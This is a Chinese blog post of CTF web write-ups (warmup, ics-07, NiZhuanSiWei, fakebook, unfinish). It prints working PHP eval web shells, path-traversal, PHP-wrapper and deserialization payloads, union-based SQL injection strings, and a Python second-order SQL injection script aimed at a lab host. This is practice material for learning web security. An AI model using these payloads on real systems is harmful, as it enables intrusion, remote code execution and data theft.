北理工web新手题

攻防世界-bug

考察点:提权加文件上传

首先打开是登录框,然后应该是爆破不出来的,然后先注册进去看看,进去发现

然后第二个点不开,发现不是admin,然后可以改下密码,看看有没有逻辑漏洞,发现在bp里面并没有,没有发现关于我用户名的地方,我看看找回密码

发现有东西,在bp直接改包

直接改admin,发现ip错误

ip错误,直接加X-Forwarded-For:127.0.0.1

filename 文件管理 –>>do=upload,发现是文件上传

文件上传,改成jpg然后短标签绕过,发现还是you know what i want,然后在网上看了看发现本题的考点,利用JavaScript执行php代码(正常的php代码会被检测到,所以就考虑用JavaScript来执行)

<script language="php"> @eval($_POST['1']); </script> 直接出来flag

攻防世界——warmup

考察点:中间件漏洞+php代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//如果传的是空和字符串,返回错误

            if (in_array($page, $whitelist)) {
                return true;
            }//如果匹配白名单里面的,返回true

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//截取page 0 ?
            if (in_array($_page, $whitelist)) {
                return true;
            }//再次匹配

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//再次截取
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

然后去访问hint.php这个文件,发现flag in ffffllllaaaagggg 而看见这个是Apache 突然想到存在目录穿越

PHP 的 include() 在解析路径时,如果文件名是 合法白名单文件 + ?PATH,一些服务器(尤其是 Apache + PHP)会将 ?PATH 后的路径拼接到实际文件路径上,从而造成路径穿越。

但是又要匹配白名单所以要先=source.php?目录

payload直接打出来

file=source.php%3F../../../../../../ffffllllaaaagggg

攻防世界——isc-07

考察点:linux目录结构特性

打开三件套,然后随便点点,发现项目管理可以点开,然后发现有个可以查看源代码,点开看看随便审计一下

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php'); //查看有没有page这个参数,如果有,如果不等于index.php,则包含flag.php,反之则令page=flag.php,直接跳转flag.php
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {//前提 session['admin']
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){//对filename这个参数进行正则匹配,过滤危险文件
          die("Bad file extension");
       }else{
            chdir('uploaded');//如果没有匹配到,则文件包含到uploaded/backup这个目录下面
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php'; //要传id这个参数,并且id!=1,而且id的最后面一位为9,floatval这个函数会对字符进行截断
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True; //专门用来满足这个前提的
      }
     ?>

  </body>
</html>

先尝试过滤一下floatval这个函数,返回项目管理,并且传id=1-9和page=flag.php,发现name:admin,然后就可以POST传写文件了,这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/…进入的是1.php文件夹,于是POST传

con=<?php @eval($_POST[cmd]);?>&file=1.php/2.php/..

直接蚁剑连接。

[ZJCTF 2019]NiZhuanSiWei

考察点:php伪协议+php反序列化

打开发现源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//检查有没有text这个参数,并且将$text传入r这个字符串并且===welcome to the zjctf
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//输出传入的字符串
    if(preg_match("/flag/",$file)){//检查file这个参数里面有没有flag这个字符串
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php 存在useless.php这个文件
        $password = unserialize($password);//进行反序列操作
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

先简单讲一下php伪协议

php伪协议(简单版本)
php://filter:可以获取指定文件源码
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
phar://中相对路径和绝对路径都可以使用,与zip差不多

先对text这个参数进行data写入操作,然后对file这个参数读取一下useless.php这个文件

text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

回显出来

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 反序列化直接打出来
$a = new Flag();
$a -> file = 'flag.php';
echo serialize($a);

payload直接打

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后看见回显,记得查看源代码

fakebook

考察点:sql注入+反序列化+文件目录

打开发现存在登录页面,随便注册进去看看,然后点击个人用户,发现页面是view.php?no=1,额,1,测试一下是不是SQL注入,输入no=1 or 1=1–+,还真的有回显,但是一直在测试发现怎么都出不来啊,然后就三件套看看还有没有其他线索,发现robots.txt文件

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;//强制转int
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//可以进行一些伪协议读取
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }//对blog进行正则匹配在blog中要匹配到https://

}

哦,我刚才是111.com,错了,然后现在再看看

no=1 order by 1,2,3,4--+
no=-1/**/union/**/ select /**/1,2,3,4--+//发现在2那里有回显
no=-1/**/union/**/ select /**/1,database(),3,4--+
-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()
-1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"
-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users
-1/**/union/**/select/**/1,group_concat(no,'@@@',data),3,4 from users--+
回显1@@@O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:15:"https://wea.com";}

然后看见这个php路径,是/var/www/html/view.php–>flag in /var/www/html/flag.php

然后看data是经过序列化的,使用反序列化+php伪协议读取flag.php文件

<?php
class UserInfo {
    public $name = "test";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo);
no=-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

页面加载时会反序列化data字段,触发getBlogContents()方法读取flag.php。

然后查看源代码发现base64加密,进行解密出来flag

攻防世界——unfinish

考察点:sql注入(二次注入)

实现点开发现是登录页面,然后进行三件套看看,发现存在注册页面,然后注册进去看看,发现好像存在注入点,登上去发现我们的用户名出现在了界面上,这个就比较符合二次注入的点了,然后就要看看查询语句了

//注册用户
insert into tables values('$email','$username','$password')
insert into tables values('$email','0' +(select ascii(database())) +'0','$password')

然后注册发现用户名是119,也就是’w’,发现成功注入,然后就使用substr进行截取字符串了,但是发现

0'+(select ascii(substr (database(),2,1)))+'0

被ban了,嗯,然后使用字典看看有没有什么没有被ban,网站把“ , 和 information”ban掉了,

用sys库进行注入。注入语句如下:

先来进行表名的注入:
0'+(select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 1)+'0

然后一直报错出不来,就直接看他flag这个表里面的数据了

import requests
from bs4 import BeautifulSoup

# 该函数通过SQL注入获取当前数据库名
def select_database():
    database = ""  # 存储获取到的数据库名
    for i in range(100):  # 最多尝试100个字符
        # 构造注册数据,用户名包含SQL注入 payload
        data_register = {
            "email": "%d@qq.com" % (i),
            # 关键注入点:通过 ASCII 码逐字符获取数据库名
            "username": f"0'+(select ascii(substr(database()from {i + 1} for 1)))+'0",
            "password": "%d" % (i)
        }
        # 发送注册请求
        register = requests.post(url="http://223.112.5.141:64427/register.php",
                                 data=data_register)
        # 构造登录数据
        data_login = {
            "email": "%d@qq.com" % (i),
            "password": "%d" % (i)
        }
        # 发送登录请求
        login = requests.post(url="http://223.112.5.141:64427/login.php",
                              data=data_login)
        html = login.text  # 获取登录后的页面内容
        soup = BeautifulSoup(html, 'html.parser')  # 解析HTML
        getUsername = soup.find_all('span')[0]  # 获取第一个span标签内容(包含注入结果)
        username = getUsername.text  # 提取文本
        o = int(username)  # 转换为整数(即 ASCII 码值)
        if o == 0:  # 如果为0,表示没有更多字符
            break
        database += chr(int(username))  # 将 ASCII 码转换为字符并添加到结果中
        print(database)  # 打印当前获取到的数据库名
    return database  # 返回完整的数据库名

# 该函数通过SQL注入获取flag表中的内容
def select_flag():
    flag = ""  # 存储获取到的flag
    for i in range(100):  # 最多尝试100个字符
        # 构造注册数据,用户名包含SQL注入 payload
        data_register = {
            "email": "%d@qqq.com" % (i),
            # 关键注入点:通过 ASCII 码逐字符获取flag表中的数据
            "username": f"0'+ascii(substr((select * from flag) from {i + 1} for 1))+'0",
            "password": "%d" % (i)
        }
        # 发送注册请求
        register = requests.post(url="http://223.112.5.141:64427/register.php",
                                 data=data_register)
        # 构造登录数据
        data_login = {
            "email": "%d@qqq.com" % (i),
            "password": "%d" % (i)
        }
        # 发送登录请求
        login = requests.post(url="http://223.112.5.141:64427/login.php",
                              data=data_login)
        html = login.text  # 获取登录后的页面内容
        soup = BeautifulSoup(html, 'html.parser')  # 解析HTML
        getUsername = soup.find_all('span')[0]  # 获取第一个span标签内容
        username = getUsername.text  # 提取文本
        o = int(username)  # 转换为整数(ASCII 码值)
        if o == 0:  # 如果为0,表示没有更多字符
            break
        flag += chr(int(username))  # 将 ASCII 码转换为字符并添加到结果中
        print(flag)  # 打印当前获取到的flag内容

# 执行函数并打印结果
print(select_database())
print(select_flag())

然后就出来flag(真的要学python的脚本了,啊啊啊!!!)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇